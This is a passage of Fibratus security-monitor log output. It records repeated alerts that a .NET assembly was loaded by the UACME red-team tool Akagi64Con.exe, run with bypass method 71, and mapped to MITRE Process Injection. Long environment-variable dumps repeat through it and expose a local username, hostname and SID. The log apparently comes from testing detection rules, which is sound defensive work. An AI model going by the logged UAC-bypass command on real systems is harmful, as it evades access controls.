Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022629 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.912965 +0100 CET + Params: base_address➜ 7ffcbbd10000, checksum➜ 0, default_address➜ 7ffcbbd10000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe, image_size➜ 495616, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.seq.link: 9665569474375319552 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022629 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.912965 +0100 CET + Params: base_address➜ 7ffcbbd10000, checksum➜ 0, default_address➜ 7ffcbbd10000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe, image_size➜ 495616, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} 